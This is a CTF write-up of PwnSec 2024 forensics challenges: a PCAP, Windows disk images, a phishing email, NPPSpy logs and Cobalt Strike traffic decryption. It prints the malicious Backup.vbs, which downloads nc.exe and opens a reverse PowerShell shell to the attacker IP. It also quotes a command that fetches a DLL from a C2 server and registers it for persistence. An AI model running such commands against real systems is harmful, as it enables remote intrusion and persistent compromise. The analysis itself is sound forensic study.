Post

PwnSec CTF 2024 - Writeups

This is a writeup for some forensics challenges from PwnSec CTF 2024. It’s been awhile since I played a CTF with my local team M53 after joining L3ak, but I had a great time solving several forensics challenges for them. In the end, we managed to achieve 3rd place out of 100+ teams.

TickTock [Forensics]

Question: Time is what we want most but what we use worst.

Flag: PWNSEC{T0UGH_T1M3S_N3V3R_L4ST}

We are given a PCAP file to investigate. Analyzing the file, several HTTP packets can be identified. Extracting the values of the Accept-CH-Lifetime header from each HTTP GET request, the flag can be obtained. I extracted them manually, but credits to the author for this one-liner:

1
2
└─$ grep -aoP '(?<=Accept-CH-Lifetime: )\d+' TickTock.pcap | awk '{printf "%c", $1} END {print ""}'
PWNSEC{T0UGH_T1M3S_N3V3R_L4ST}

Physter Backup Blunder 1 [Forensics]

Question: Physter, the finance executive manager at Leucothea Corp., oversees several critical business operations. Recently, his team has been working on a new product launch, which involves sensitive financial data and proprietary information. Physter noticed something was wrong when he couldn’t log into the company’s finance portal, and his email inbox showed signs of unusual activity. Physter contacted the IT security team, who immediately suspected a potential vulnerability exploit and launched a digital forensic investigation. Can you save Physter and Leucothea Corp. before more damage is done?

Flag: PWNSEC{9c3dae57dc5be1e1bcbfccf39791651b}

We are given an AD1 image to investigate and several questions to answer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
└─$ nc foren-pbb1.pwnsec.xyz 30406
██████╗ ██╗  ██╗██╗   ██╗███████╗████████╗███████╗██████╗     ██████╗  █████╗  ██████╗██╗  ██╗██╗   ██╗██████╗     ██████╗ ██╗     ██╗   ██╗███╗   ██╗██████╗ ███████╗██████╗ 
██╔══██╗██║  ██║╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝██╔══██╗    ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║   ██║██╔══██╗    ██╔══██╗██║     ██║   ██║████╗  ██║██╔══██╗██╔════╝██╔══██╗
██████╔╝███████║ ╚████╔╝ ███████╗   ██║   █████╗  ██████╔╝    ██████╔╝███████║██║     █████╔╝ ██║   ██║██████╔╝    ██████╔╝██║     ██║   ██║██╔██╗ ██║██║  ██║█████╗  ██████╔╝
██╔═══╝ ██╔══██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██╔══██╗    ██╔══██╗██╔══██║██║     ██╔═██╗ ██║   ██║██╔═══╝     ██╔══██╗██║     ██║   ██║██║╚██╗██║██║  ██║██╔══╝  ██╔══██╗
██║     ██║  ██║   ██║   ███████║   ██║   ███████╗██║  ██║    ██████╔╝██║  ██║╚██████╗██║  ██╗╚██████╔╝██║         ██████╔╝███████╗╚██████╔╝██║ ╚████║██████╔╝███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝    ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝         ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚═════╝ ╚══════╝╚═╝  ╚═╝
What is the attacker's IP address?
Your answer: 192.168.15.128
Correct! ✅ Moving to the next question.
What is the name of the SMB share accessed by the attacker?
Your answer: Backup
Correct! ✅ Moving to the next question.
What is the name of the user that the attacker first logged in as to explore the share?
Your answer: guest
Correct! ✅ Moving to the next question.
How many failed login attempts did the attacker make using brute-force against the user Physter, who has READ/WRITE permissions?
Your answer: 37
Correct! ✅ Moving to the next question.
When did the attacker successfully access the share with READ/WRITE permissions? (YYYY-MM-DD HH:MM:SS)
Your answer: 2024-10-17 12:51:22
Correct! ✅ Moving to the next question.
What is the name of the script that the attacker abused to gain access to Physter's machine? (Filename.ext)
Your answer: Backup.vbs
Correct! ✅ Moving to the next question.
A scheduled task was set up to execute the script. Identify the name of that scheduled task.
Your answer: VBS-Backup
Correct! ✅ Moving to the next question.
What is the command from the scheduled task that executed the script?
Your answer: C:\Windows\System32\wscript.exe C:\Users\Physter\Backup\Backup.vbs
Correct! ✅ Moving to the next question.
Good Job! You answered all questions correctly! 🔥 Here is your flag: PWNSEC{9c3dae57dc5be1e1bcbfccf39791651b}

Question 1: What is the attacker’s IP address?

Analyzing the AD1 image, two drives can be identified: the user’s drive (C:) and a backup drive (D:).

phy1

Inside the backup drive was a suspicious VBScript file that seem to be conducting majority of the attacks. Analyzing the code, the attacker’s IP and port can be identified to be 192.168.15.128:1337.

phy2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
Option Explicit
Dim objFSO, strSourceFolder, strDestFolder, strExclusion, strPrompt, oShell

Set objFSO = CreateObject("Scripting.FileSystemObject")

strSourceFolder = "C:\Users\Physter\Backup"
strDestFolder = "D:\"


CopyFolderStructure strSourceFolder, strDestFolder, strExclusion

Function CopyFolderStructure(strSource, strDestination, strExcludedExt)
    Const OVER_WRITE_FILES = True
    Dim objDir, objFolder, objFiles, strCurExt, intX, arrExt, blnExclude

    Set objDir = objFSO.GetFolder(strSource)

    If Not objFSO.FolderExists(strDestination & "\" & objDir.Name) Then
        objFSO.CreateFolder(strDestination & "\" & objDir.Name)
    End If

    If Not IsNoData(strExcludedExt) Then
        arrExt = Split(strExcludedExt, ",")
        blnExclude = False
    End If

    For Each objFiles In objFSO.GetFolder(strSource).Files
        If Not IsNoData(strExcludedExt) Then
            strCurExt = objFSO.GetExtensionName(objFiles.Name)
            For intX = 0 To UBound(arrExt)
                If LCase(strCurExt) = arrExt(intX) Then
                    blnExclude = True
                    Exit For
                Else
                    blnExclude = False
                End If
            Next
            If Not blnExclude Then
                objFSO.CopyFile strSource & "\" & objFiles.Name, strDestination & "\" & objDir.Name & "\" & objFiles.Name, OVER_WRITE_FILES
            End If
        Else
            objFSO.CopyFile strSource & "\" & objFiles.Name, strDestination & "\" & objDir.Name & "\" & objFiles.Name, OVER_WRITE_FILES
        End If
    Next

    For Each objFolder In objFSO.GetFolder(strSource).SubFolders
        CopyFolderStructure objFolder.Path, strDestination & "\" & objDir.Name, strExcludedExt
    Next
End Function

Function BrowseForFolderDialogBox(strTitle)
    Const WINDOW_HANDLE = 0
    Const NO_OPTIONS = &H0001
    Dim objShellApp
    Dim objFolder
    Dim objFldrItem
    Dim objPath

    Set objShellApp = CreateObject("Shell.Application")
    Set objFolder = objShellApp.BrowseForFolder(WINDOW_HANDLE, strTitle , NO_OPTIONS)
    If IsNoData(objFolder) Then
        WScript.Echo "You choose to cancel. This will stop this script."
        Wscript.Quit
    Else
        Set objFldrItem = objFolder.Self
        objPath = objFldrItem.Path
        BrowseForFolderDialogBox = objPath
        Set objShellApp = Nothing
        Set objFolder = Nothing
        Set objFldrItem = Nothing
    End If
End Function

Function IsNoData(varVal2Check)
    On Error Resume Next
    If IsNull(varVal2Check) Or IsEmpty(varVal2Check) Then
        IsNoData = True
    Else
        If IsDate(varVal2Check) Then
            IsNoData = False
        ElseIf varVal2Check = "" Then
            IsNoData = True
        ElseIf Not IsObject(varVal2Check) Then
            IsNoData = False
        Else
            IsNoData = False
        End If
    End If
End Function
Set oShell = CreateObject("Wscript.Shell")
oShell.run "cmd.exe /c curl http://192.168.15.128:8080/nc.exe -o C:\Windows\Temp\nc.exe"
oShell.run "cmd.exe /c C:\Windows\Temp\nc.exe 192.168.15.128 1337 -e powershell"

Question 2: What is the name of the SMB share accessed by the attacker?

Similarly, this part of the VBS code shows the SMB share folder to be Backup.

1
2
strSourceFolder = "C:\Users\Physter\Backup"
strDestFolder = "D:\"

Question 3: What is the name of the user that the attacker first logged in as to explore the share?

Analyzing the Microsoft-Windows-SMBServer%4Security.evtx event log, a denied access was logged by the user guest.

phy3

Question 4: How many failed login attempts did the attacker make using brute-force against the user Physter, who has READ/WRITE permissions?

Analyzing the Security.evtx event log with the event ID 4625 (Failed Login), the brute-force attempts can be identified to be around 2024-10-17 12:48:16 (UTC). Just calculate them manually.

phy4

Question 5: When did the attacker successfully access the share with READ/WRITE permissions? (YYYY-MM-DD HH:MM:SS)

This question was pretty tricky. Analyzing the Security.evtx event log again with the event ID 4624 (Successful Login), the first log shows a suspicious login to a workstation called “R41N”. Hence, the timestamp of successful compromise can be identified to be 2024-10-17 12:51:22 (UTC).

phy5

Question 6: What is the name of the script that the attacker abused to gain access to Physter’s machine? (Filename.ext)

The name of the malicious script is already identified to be Backup.vbs in the shared folder.

Question 7: A scheduled task was set up to execute the script. Identify the name of that scheduled task.

Analyzing the registry HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree, a suspicious scheduled task can be identified to be VBS-Backup.

phy6

Question 8: What is the command from the scheduled task that executed the script?

Using the GUID of the suspicious scheduled task, the command can be identified to be:

1
C:\Windows\System32\wscript.exe C:\Users\Physter\Backup\Backup.vbs

phy7

Physter Backup Blunder 2 [Forensics]

Question: The IT security team’s investigation revealed that an attacker had indeed gained access to Physter’s workstation. After breaching the system, the attacker wasted no time. They began by scanning the system for sensitive files. Can you find out what the attacker did after gaining access to the workstation?

Flag: PWNSEC{2c4a93bfab4b2c273047eb42a05a94cd}

We are given an AD1 image to investigate and several questions to answer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ nc foren-pbb2.pwnsec.xyz 34466
██████╗ ██╗  ██╗██╗   ██╗███████╗████████╗███████╗██████╗     ██████╗  █████╗  ██████╗██╗  ██╗██╗   ██╗██████╗     ██████╗ ██╗     ██╗   ██╗███╗   ██╗██████╗ ███████╗██████╗ 
██╔══██╗██║  ██║╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝██╔══██╗    ██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║   ██║██╔══██╗    ██╔══██╗██║     ██║   ██║████╗  ██║██╔══██╗██╔════╝██╔══██╗
██████╔╝███████║ ╚████╔╝ ███████╗   ██║   █████╗  ██████╔╝    ██████╔╝███████║██║     █████╔╝ ██║   ██║██████╔╝    ██████╔╝██║     ██║   ██║██╔██╗ ██║██║  ██║█████╗  ██████╔╝
██╔═══╝ ██╔══██║  ╚██╔╝  ╚════██║   ██║   ██╔══╝  ██╔══██╗    ██╔══██╗██╔══██║██║     ██╔═██╗ ██║   ██║██╔═══╝     ██╔══██╗██║     ██║   ██║██║╚██╗██║██║  ██║██╔══╝  ██╔══██╗
██║     ██║  ██║   ██║   ███████║   ██║   ███████╗██║  ██║    ██████╔╝██║  ██║╚██████╗██║  ██╗╚██████╔╝██║         ██████╔╝███████╗╚██████╔╝██║ ╚████║██████╔╝███████╗██║  ██║
╚═╝     ╚═╝  ╚═╝   ╚═╝   ╚══════╝   ╚═╝   ╚══════╝╚═╝  ╚═╝    ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝         ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚═════╝ ╚══════╝╚═╝  ╚═╝
What is the name of the password manager that Physter used?
Your answer: bitwarden
Correct! ✅ Moving to the next question.
Physter exported his password vault and left the password for the exported vault in a note somewhere. Find and identify the vault password.
Your answer: Fr0mTh3R1verT0TheSe4P4l3s7ineW1llBeFr33
Correct! ✅ Moving to the next question.
When was that note created? (YYYY-MM-DD)
Your answer: 2024-10-11
Correct! ✅ Moving to the next question.
After decrypting the vault. What is the Physter's password for http://finance.LeucotheaCorp.com?
Your answer: KWJPijz7PeD710wYYh6B
Correct! ✅ Moving to the next question.
Great Work! You answered all questions correctly! 🔥 Here is your flag: PWNSEC{2c4a93bfab4b2c273047eb42a05a94cd}

Question 1: What is the name of the password manager that Physter used?

Analyzing the user’s Chrome history, the user can be seen searching for Bitwarden, a common password manager.

phy8

Question 2: Physter exported his password vault and left the password for the exported vault in a note somewhere. Find and identify the vault password.

The exported passwords can be identified in the shared folder called “passwords.json” where it can be decrypted with the master password. Additionally, the Bitwarden folder could not be found in the drive. This suggest that the user might have utilised Bitwarden extension instead.

phy9

Reading the question again, it mentioned something about “note”. So by analyzing Windows sticky note artifact in %LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite, the master password Fr0mTh3R1verT0TheSe4P4l3s7ineW1llBeFr33 can be obtained.

phy10

Question 3: When was that note created? (YYYY-MM-DD)

The timestamp can be identified next to the sticky note content.

phy11

Just convert the WebKit/Chrome timestamp to readable time. PS: I don’t know why the year is incorrect, it should be 2024-10-11.

phy12

Question 4: After decrypting the vault. What is the Physter’s password for http://finance.LeucotheaCorp.com?

With the master password, the exported passwords can be decrypted easily with open-source tools like BitwardenDecrypt. The user’s password can be identified to be KWJPijz7PeD710wYYh6B.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
PS C:\Users\warlocksmurf\Desktop\Tools\BitwardenDecrypt-1.6> python .\BitwardenDecrypt.py passwords.json

Enter Password (EncryptedJSON):
{
  "encrypted": false,
  "folders": [],
  "items": [
    {
      "passwordHistory": null,
      "revisionDate": "2024-10-08T14:17:49.703Z",
      "creationDate": "2024-10-08T14:17:49.703Z",
      "deletedDate": null,
      "id": "a632dcbd-faa0-4f3c-b922-b20300eb9c11",
      "organizationId": null,
      "folderId": null,
      "type": 1,
      "reprompt": 0,
      "name": "Leucothea Corp. Financial Department",
      "notes": null,
      "favorite": false,
      "login": {
        "fido2Credentials": [],
        "uris": [
          {
            "match": null,
            "uri": "http://finance.LeucotheaCorp.com"
          }
        ],
        "username": "PhysterOrca",
        "password": "KWJPijz7PeD710wYYh6B",
        "totp": null
      },
      "collectionIds": null
    },
    {
      "passwordHistory": null,
      "revisionDate": "2024-10-02T16:41:14.216Z",
      "creationDate": "2024-10-02T16:41:14.216Z",
      "deletedDate": null,
      "id": "f2826658-1489-46e2-88e8-b1fd0112ff7b",
      "organizationId": null,
      "folderId": null,
      "type": 3,
      "reprompt": 0,
      "name": "Main Card",
      "notes": null,
      "favorite": false,
      "card": {
        "cardholderName": "Physter Orca",
        "brand": "Mastercard",
        "number": "5547781893718555",
        "expMonth": "4",
        "expYear": "2028",
        "code": "1337"
      },
      "collectionIds": null
    },
    {
      "passwordHistory": null,
      "revisionDate": "2024-10-02T16:39:58.320Z",
      "creationDate": "2024-10-02T16:39:58.320Z",
      "deletedDate": null,
      "id": "6f717876-7755-4910-936a-b1fd0112a68a",
      "organizationId": null,
      "folderId": null,
      "type": 1,
      "reprompt": 0,
      "name": "Whales Activity",
      "notes": null,
      "favorite": false,
      "login": {
        "fido2Credentials": [],
        "uris": [],
        "username": "physt3r",
        "password": "SAVEtheWHALES!",
        "totp": null
      },
      "collectionIds": null
    }
  ]
}

SOC as a Service [Forensics]

Question: Recently, our SOC experienced unusual inbound and outbound connections. We suspect that one of our analysts might have made a significant mistake. After conducting an investigation, we discovered that an analyst received an email. He told us he started investigating the email as a normal day and a normal ticket, but after it, some malicious activity occurred. Could you assist us in investigating what went wrong and identify our analyst’s mistake? Flag format: PWNSEC{SHA1HashOfMaliciousFileDelievered_MitreidForDeliveryOfTheMaliciousFile_MitreForPersistence_C2ip_C2port}

Flag: PWNSEC{6f4fdae522dccf52ef96698fde2e35a4539a8472_T1036.008_T1547.003_90.90.10.10_1337}

We are given an EML file and the email attachment to investigate.

soc1

Analyzing the attachment file, suspicious commands can be extracted from its metadata.

1
C:\Windows\System32\cmd.exe /c "powershell iwr http://20.0.145.51/windows_update/windows_update.dll -OutFile C:\Windows\Upd.dll; reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time\TimeProviders\CMDProvider /v DllName /d C:\Windows\Upd.dll /f"

The SHA1 hash can be obtained after downloading the malicious DLL from the C2.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ wget http://20.0.145.51/windows_update/windows_update.dll                                                 
--2024-11-16 11:53:48--  http://20.0.145.51/windows_update/windows_update.dll
Connecting to 20.0.145.51:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 220077 (215K) [application/octet-stream]
Saving to: ‘windows_update.dll’

windows_update.dll                                         100%[=======================================================================================================================================>] 214.92K   328KB/s    in 0.7s    

2024-11-16 11:53:49 (328 KB/s) - ‘windows_update.dll’ saved [220077/220077]

└─$ sha1sum windows_update.dll 
6f4fdae522dccf52ef96698fde2e35a4539a8472  windows_update.dll

The delivery MITRE took a long time to figure out. Essentially, the authors wanted the MITRE ID of how the user got tricked into clicking the attachment, not the delivery of the fake PNG file. At first I thought the MITRE ID was T1027.012 (Obfuscated Files or Information: LNK Icon Smuggling), but it was instead T1036.008 (Masquerading: Masquerade File Type).

The MITRE ID for persistence was pretty straightforward. Analyzing the suspicious commands executed from the fake PNG file, the malicious DLL was added to the registry hive HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time\TimeProviders\CMDProvider. This highly suggests that the persistence method was T1547.003 (Boot or Logon Autostart Execution: Time Providers).

To obtain the C2 IP and port, the malicious DLL can be decompiled and analyzed using Ghidra. Going through the main function of the DLL, a reverse_shell function can be identified.

soc2

Within the reverse_shell function was the C2 IP and port (written in hexadecimal).

soc3

SecCorp [Forensics]

Question: SecCorp has been compromised, and we suspect the attackers used stealth tactics. As our top incident responder, your mission is to dive into the logs and uncover their hidden maneuvers, expose their strategies, and help us secure our defenses. Flag Format: PWNSEC{full path of the malicious file_SHA1 of the malicious file _name of the file that the malicious file drops}

Flag: PWNSEC{C:\Windows\System32\lsass.dll_5e84941be2c10ecec9d796211196fca10e0834dd_NPPSpy.txt}

We are given Window event logs to investigate. Using Hayabusa, the event logs are parsed and analyzed to easily identify malicious events and IOCs.

sec1

Analyzing the output from Hayabusa, a powershell script can be seen being executed to copy a malicious DLL file into C:\Windows\System32.

sec2

Researching online about this malicious script, it seems that it was related to NPPSPY which spies on user credentials. Reading the blog, the YARA rule they provided had two SHA256 hashes of NPPSPY.dll (original name of lsass.dll).

sec3

Analyzing both SHA256 hashes on VirusTotal, the second hash had the right SHA1 hash.

sec4

Since the event logs do not show any dropped files, VirusTotal will instead show the file that was written by the malicious DLL.

sec5

APT Detector [Forensics]

Question: The security team at Leucothea Corp. received reports of suspicious activity from one of their developers’ machines. After an investigation, the SOC team uncovered signs of a phishing attack. The developer unknowingly executed a malicious attachment, leading to a compromise by an APT group. In response, The SOC team has provided you with a network traffic capture to help analyze the breach.

Flag: PWNSEC{d09c5c8a8f162e36cd80a5d0f7de8d88}

We are given a PCAP file to investigate and several questions to answer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ nc foren-aptdetector.pwnsec.xyz 34477
What is the endpoint that the C2 is using in the GET requests? (Format:/endpoint)
Your answer: /zOMGAPT
Correct! ✅ Moving to the next question.
What's the name of the C2 Server used? (Format:C2 Name)
Your answer: cobalt strike
Correct! ✅ Moving to the next question.
What's the name of the CobaltStrike profile used by the threat actor? (Format:xxxx_xxxxx.profile)
Your answer: apt1_virtuallythere.profile
Correct! ✅ Moving to the next question.

Our Threat Intelligence team discovered that the beacon keys were leaked on the dark web, specifically on the official APT forum. We've obtained a copy for you: https://handouts.pwnsec.xyz/cobaltstrike.beacon_keys 

Determine the raw key of the C2 communication session. (Format:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)
Your answer: 6217a4d8575c2f1e1d318292a7bb371e
Correct! ✅ Moving to the next question.
Determine the name of the executable that initiated the C2 communication. (Format:filename.ext)
Your answer: Maintenance.exe
Correct! ✅ Moving to the next question.
What is the secret found in the environment variable?
Your answer: D3cRypt1n6_c0b4l7_57r1k3_7r4ff1c_15_1n54n3
Correct! ✅ Moving to the next question.
Good Job! You answered all questions correctly! 🔥 Here is your flag: PWNSEC{d09c5c8a8f162e36cd80a5d0f7de8d88}

Question 1: What is the endpoint that the C2 is using in the GET requests? (Format:/endpoint)

Analyzing the HTTP GET requests, the endpoint can be easily identified to be /zOMGAPT.

apt1

Question 2: What’s the name of the C2 Server used? (Format:C2 Name)

Doing some OSINT, the C2 server can be identified to be Cobalt Strike.

apt2

Question 3: What’s the name of the CobaltStrike profile used by the threat actor? (Format:xxxx_xxxxx.profile)

Doing some OSINT, the CobaltStrike profile can be identified to be apt1_virtuallythere.profile.

apt3

Question 4: Our Threat Intelligence team discovered that the beacon keys were leaked on the dark web, specifically on the official APT forum. We’ve obtained a copy for you: hxxps://handouts.pwnsec.xyz/cobaltstrike.beacon_keys Determine the raw key of the C2 communication session. (Format:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)

Since I was not very well-versed with Cobalt Strike, I had to read several blogs on it to understand how it works. From what I understand, each time C2 server will create a new public/private RSA key combination and store the key pair in a beacon key file (cobaltstrike.beacon_keys). So when a beacon checks in, it sends a metadata blob encrypted using the public RSA key to the C2 server in a HTTP GET request. The C2 server will then use the private RSA key to decrypt and recover the plain text metadata and extract the AES key along with other metadata used for further communication. One thing to note: Beacons receiving tasks generally happens over HTTP GET requests and they reply with the task data over HTTP POST requests. These tasks are encrypted using an AES key. Refer to this blog to understand more.

Back to the question, since we have the beacon key file, we can essentially use it to decrypt the metadata from a HTTP GET request in the PCAP. However, the CobaltStrike profile used encoded the metadata blob using netbiosu and place it within the /tmp parameter. Refer to this blog to understand more about netbiosu encoding.

apt4

This is a script that I made with reference to other Cobalt Strike scripts from Unit42 and DidierStevens. The script will automatically extract public and private RSA keys from a beacon key file, decode and decrypt the metadata blob using the private RSA key, and list down the field values according to the Cobalt Strike metadata structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
import base64
import javaobj.v2 as javaobj
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
import struct
import socket
import hashlib
import binascii
import re

dCodepages = {
    37: 'IBM EBCDIC US-Canada',
    437: 'OEM United States',
    500: 'IBM EBCDIC International',
    708: 'Arabic (ASMO 708)',
    709: 'Arabic (ASMO-449+, BCON V4)',
    710: 'Arabic - Transparent Arabic',
    720: 'Arabic (Transparent ASMO); Arabic (DOS)',
    737: 'OEM Greek (formerly 437G); Greek (DOS)',
    775: 'OEM Baltic; Baltic (DOS)',
    850: 'OEM Multilingual Latin 1; Western European (DOS)',
    852: 'OEM Latin 2; Central European (DOS)',
    855: 'OEM Cyrillic (primarily Russian)',
    857: 'OEM Turkish; Turkish (DOS)',
    858: 'OEM Multilingual Latin 1 + Euro symbol',
    860: 'OEM Portuguese; Portuguese (DOS)',
    861: 'OEM Icelandic; Icelandic (DOS)',
    862: 'OEM Hebrew; Hebrew (DOS)',
    863: 'OEM French Canadian; French Canadian (DOS)',
    864: 'OEM Arabic; Arabic (864)',
    865: 'OEM Nordic; Nordic (DOS)',
    866: 'OEM Russian; Cyrillic (DOS)',
    869: 'OEM Modern Greek; Greek, Modern (DOS)',
    870: 'IBM EBCDIC Multilingual/ROECE (Latin 2); IBM EBCDIC Multilingual Latin 2',
    874: 'ANSI/OEM Thai (ISO 8859-11); Thai (Windows)',
    875: 'IBM EBCDIC Greek Modern',
    932: 'ANSI/OEM Japanese; Japanese (Shift-JIS)',
    936: 'ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)',
    949: 'ANSI/OEM Korean (Unified Hangul Code)',
    950: 'ANSI/OEM Traditional Chinese (Taiwan; Hong Kong SAR, PRC); Chinese Traditional (Big5)',
    1026: 'IBM EBCDIC Turkish (Latin 5)',
    1047: 'IBM EBCDIC Latin 1/Open System',
    1140: 'IBM EBCDIC US-Canada (037 + Euro symbol); IBM EBCDIC (US-Canada-Euro)',
    1141: 'IBM EBCDIC Germany (20273 + Euro symbol); IBM EBCDIC (Germany-Euro)',
    1142: 'IBM EBCDIC Denmark-Norway (20277 + Euro symbol); IBM EBCDIC (Denmark-Norway-Euro)',
    1143: 'IBM EBCDIC Finland-Sweden (20278 + Euro symbol); IBM EBCDIC (Finland-Sweden-Euro)',
    1144: 'IBM EBCDIC Italy (20280 + Euro symbol); IBM EBCDIC (Italy-Euro)',
    1145: 'IBM EBCDIC Latin America-Spain (20284 + Euro symbol); IBM EBCDIC (Spain-Euro)',
    1146: 'IBM EBCDIC United Kingdom (20285 + Euro symbol); IBM EBCDIC (UK-Euro)',
    1147: 'IBM EBCDIC France (20297 + Euro symbol); IBM EBCDIC (France-Euro)',
    1148: 'IBM EBCDIC International (500 + Euro symbol); IBM EBCDIC (International-Euro)',
    1149: 'IBM EBCDIC Icelandic (20871 + Euro symbol); IBM EBCDIC (Icelandic-Euro)',
    1200: 'Unicode UTF-16, little endian byte order (BMP of ISO 10646); available only to managed applications',
    1201: 'Unicode UTF-16, big endian byte order; available only to managed applications',
    1250: 'ANSI Central European; Central European (Windows)',
    1251: 'ANSI Cyrillic; Cyrillic (Windows)',
    1252: 'ANSI Latin 1; Western European (Windows)',
    1253: 'ANSI Greek; Greek (Windows)',
    1254: 'ANSI Turkish; Turkish (Windows)',
    1255: 'ANSI Hebrew; Hebrew (Windows)',
    1256: 'ANSI Arabic; Arabic (Windows)',
    1257: 'ANSI Baltic; Baltic (Windows)',
    1258: 'ANSI/OEM Vietnamese; Vietnamese (Windows)',
    1361: 'Korean (Johab)',
    10000: 'MAC Roman; Western European (Mac)',
    10001: 'Japanese (Mac)',
    10002: 'MAC Traditional Chinese (Big5); Chinese Traditional (Mac)',
    10003: 'Korean (Mac)',
    10004: 'Arabic (Mac)',
    10005: 'Hebrew (Mac)',
    10006: 'Greek (Mac)',
    10007: 'Cyrillic (Mac)',
    10008: 'MAC Simplified Chinese (GB 2312); Chinese Simplified (Mac)',
    10010: 'Romanian (Mac)',
    10017: 'Ukrainian (Mac)',
    10021: 'Thai (Mac)',
    10029: 'MAC Latin 2; Central European (Mac)',
    10079: 'Icelandic (Mac)',
    10081: 'Turkish (Mac)',
    10082: 'Croatian (Mac)',
    12000: 'Unicode UTF-32, little endian byte order; available only to managed applications',
    12001: 'Unicode UTF-32, big endian byte order; available only to managed applications',
    20000: 'CNS Taiwan; Chinese Traditional (CNS)',
    20001: 'TCA Taiwan',
    20002: 'Eten Taiwan; Chinese Traditional (Eten)',
    20003: 'IBM5550 Taiwan',
    20004: 'TeleText Taiwan',
    20005: 'Wang Taiwan',
    20105: 'IA5 (IRV International Alphabet No. 5, 7-bit); Western European (IA5)',
    20106: 'IA5 German (7-bit)',
    20107: 'IA5 Swedish (7-bit)',
    20108: 'IA5 Norwegian (7-bit)',
    20127: 'US-ASCII (7-bit)',
    20261: 'T.61',
    20269: 'ISO 6937 Non-Spacing Accent',
    20273: 'IBM EBCDIC Germany',
    20277: 'IBM EBCDIC Denmark-Norway',
    20278: 'IBM EBCDIC Finland-Sweden',
    20280: 'IBM EBCDIC Italy',
    20284: 'IBM EBCDIC Latin America-Spain',
    20285: 'IBM EBCDIC United Kingdom',
    20290: 'IBM EBCDIC Japanese Katakana Extended',
    20297: 'IBM EBCDIC France',
    20420: 'IBM EBCDIC Arabic',
    20423: 'IBM EBCDIC Greek',
    20424: 'IBM EBCDIC Hebrew',
    20833: 'IBM EBCDIC Korean Extended',
    20838: 'IBM EBCDIC Thai',
    20866: 'Russian (KOI8-R); Cyrillic (KOI8-R)',
    20871: 'IBM EBCDIC Icelandic',
    20880: 'IBM EBCDIC Cyrillic Russian',
    20905: 'IBM EBCDIC Turkish',
    20924: 'IBM EBCDIC Latin 1/Open System (1047 + Euro symbol)',
    20932: 'Japanese (JIS 0208-1990 and 0212-1990)',
    20936: 'Simplified Chinese (GB2312); Chinese Simplified (GB2312-80)',
    20949: 'Korean Wansung',
    21025: 'IBM EBCDIC Cyrillic Serbian-Bulgarian',
    21027: '(deprecated)',
    21866: 'Ukrainian (KOI8-U); Cyrillic (KOI8-U)',
    28591: 'ISO 8859-1 Latin 1; Western European (ISO)',
    28592: 'ISO 8859-2 Central European; Central European (ISO)',
    28593: 'ISO 8859-3 Latin 3',
    28594: 'ISO 8859-4 Baltic',
    28595: 'ISO 8859-5 Cyrillic',
    28596: 'ISO 8859-6 Arabic',
    28597: 'ISO 8859-7 Greek',
    28598: 'ISO 8859-8 Hebrew; Hebrew (ISO-Visual)',
    28599: 'ISO 8859-9 Turkish',
    28603: 'ISO 8859-13 Estonian',
    28605: 'ISO 8859-15 Latin 9',
    29001: 'Europa 3',
    38598: 'ISO 8859-8 Hebrew; Hebrew (ISO-Logical)',
